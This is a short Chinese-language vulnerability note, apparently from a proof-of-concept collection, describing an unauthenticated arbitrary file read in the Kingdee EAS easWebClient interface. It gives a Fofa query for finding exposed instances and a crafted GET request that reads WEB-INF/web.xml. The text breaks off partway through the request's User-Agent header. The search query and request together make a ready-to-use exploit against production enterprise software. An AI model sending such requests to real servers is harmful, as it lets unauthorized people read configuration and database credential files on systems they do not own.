金蝶EAS easWebClient接口任意文件读取

简介

金蝶EAS为集团企业提供全面集团管控方案，助力集团企业数字化转型，实现企业数据自由共享。以财务共享、数字营销、智能制造为主要领域，全面覆盖预算、管理会计、资金管理、集团供应链、销售电商、采购电商、多工厂制造等管理领域。同时，金蝶自主创新了最适合中国企业管理特质的BOS底层开放平台，满足了集团企业随需应变的创新及发展等深层次需求。

漏洞简介

金蝶EAS easWebClient接口处存在任意文件读取漏洞，未经身份验证的攻击者可通过该漏洞读取系统重要文件（如数据库配置文件、系统配置文件）、数据库配置文件等等，导致网站处于极度不安全状态。

影响版本

金蝶Eas
Fofa:

app="Kingdee-EAS"

漏洞复现

使用以下构造的GET数据包请求服务器敏感配置文件

GET /easWebClient/deploy/client/ctrlhome/webapps/extweb/WEB-INF/web.xml HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15;